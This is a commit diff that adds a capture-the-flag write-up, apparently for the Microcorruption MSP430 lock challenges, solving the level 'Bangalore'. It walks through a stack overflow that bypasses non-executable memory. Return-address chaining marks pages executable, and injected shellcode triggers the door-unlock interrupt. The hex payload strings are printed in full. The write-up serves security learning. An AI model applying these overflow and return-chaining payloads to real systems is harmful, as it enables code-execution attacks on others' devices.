Solve Bangalore
This commit is contained in:
@@ -507,6 +507,134 @@ input field. We then put the address we get into the script, and reliably get
|
||||
the solution string.
|
||||
|
||||
|
||||
# Bangalore
|
||||
## Bangalore
|
||||
|
||||
This is the first exercise that incorporates Data Execution Prevention.
|
||||
Fortunately, the program is simple and easy to comprehend.
|
||||
|
||||
We observe that interrupts are now chosen using the status register:
|
||||
|
||||
```
|
||||
mov #0x9100, sr // trigger interrupt 0xef & 0x91 = 0x11
|
||||
call #0x10
|
||||
```
|
||||
|
||||
This implies that if we aim to inject shellcode to unlock the door, the
|
||||
instructions would appear as follows:
|
||||
|
||||
```
|
||||
mov #0xff00, sr // trigger interrupt 0xef & 0xff = 0xef -> unlock door
|
||||
call #0x10
|
||||
```
|
||||
|
||||
Or, in hex representation:
|
||||
|
||||
```
|
||||
324000ffb0121000
|
||||
```
|
||||
|
||||
We also observe that the application is evidently susceptible to code
|
||||
injection, so we promptly devise an attack strategy.
|
||||
|
||||
```
|
||||
offset shell code
|
||||
/ /
|
||||
-------------------------------- -----------------
|
||||
111122223333444455556666777788880040b324000ffb0121000
|
||||
----
|
||||
/
|
||||
return address
|
||||
```
|
||||
|
||||
Unfortunately, when we jump to our injected code, we encounter a segmentation
|
||||
fault because the page (0x40) is read-only. We must find a method to make the
|
||||
page where the injected code resides executable.
|
||||
|
||||
We can jump to the subsequent instruction to push an arbitrary value (such as
|
||||
0x40 for the page where our injected code is located) from the stack into r11:
|
||||
|
||||
```
|
||||
4508: 3b41 pop r11
|
||||
```
|
||||
|
||||
And follow that up with a jump to:
|
||||
|
||||
```
|
||||
44f6: 0f4b mov r11, r15
|
||||
44f8: b012 b444 call #0x44b4 <mark_page_executable>
|
||||
44fc: 1b53 inc r11
|
||||
44fe: 3b90 0001 cmp #0x100, r11
|
||||
```
|
||||
|
||||
However, by doing that, we render the stack executable, and when iterating the
|
||||
loop, we encounter another segmentation fault. To address this issue, we can
|
||||
attempt to position the stack further up (or down visually) so that the
|
||||
injected code lands in page 0x41 instead of 0x40. We can then make pages 0x41
|
||||
and above executable, and our exploit should function without causing
|
||||
additional segmentation faults.
|
||||
|
||||
We now have an attack plan, step 1: Repeat this process 15 times to push the
|
||||
stack downward.
|
||||
|
||||
```
|
||||
10451045104510451045104510451045104510451045104510451045104510451045104510453c44
|
||||
```
|
||||
|
||||
All this does is repeatedly jumping to a return instruction (at 4510), and then
|
||||
jump back to the `login` routine. After repeating this for 15 times, we have
|
||||
moved into the `0x41` area.
|
||||
|
||||
Step 2: Inject code and jump back to beginning of program:
|
||||
|
||||
```
|
||||
call #0x10 program entry point
|
||||
________/ ____/
|
||||
324000ffb0121000deaddeaddeaddead0044
|
||||
-------- ----------------
|
||||
\ \
|
||||
move 0xff, sr padding
|
||||
```
|
||||
|
||||
This string injects the shellcode and then jumps to the original program entry
|
||||
point, which resets the SP to its initial location. With 15 repetitions of step
|
||||
1, the injected code will be situated at `4138`.
|
||||
|
||||
Armed with this knowledge, we can complete our attack; step 3: Make page 0x41
|
||||
executable and jump to the injected code:
|
||||
|
||||
```
|
||||
|
||||
pad page 41 return to injected code
|
||||
/ / /
|
||||
-------------------------------- ---- ----
|
||||
1111222233334444555566667777888808454100f64400003841
|
||||
---- ----
|
||||
\ \
|
||||
\ jump to `set_up_protection` at `mov r11, r15`
|
||||
\
|
||||
`pop r11`
|
||||
```
|
||||
|
||||
This challenge proved to be tricky for me for two reasons. First, I attempted
|
||||
to push the stack down so that I could make page `0x40` executable, without
|
||||
influencing the stack. However, I was unable to find a method to accomplish
|
||||
that and had to devise the approach of moving in the opposite direction.
|
||||
|
||||
Second, at the conclusion of the application, there is a `reti` instruction:
|
||||
|
||||
```
|
||||
453e: 0013 reti pc
|
||||
```
|
||||
|
||||
In addition to restoring the return address and loading it into the program
|
||||
counter (PC) like a regular `ret`, this instruction also pops another value
|
||||
from the stack to restore the status register (SR). This would be sufficient to
|
||||
devise an attack by restoring `0xff00`, and then jumping to the call at `0x10` (the
|
||||
interrupt address). However, it turns out that the `reti` instruction is not
|
||||
correctly implemented by the simulator (it acts as a `nop`), and as a result,
|
||||
this attack doesn't work.
|
||||
|
||||
|
||||
## Lagos
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user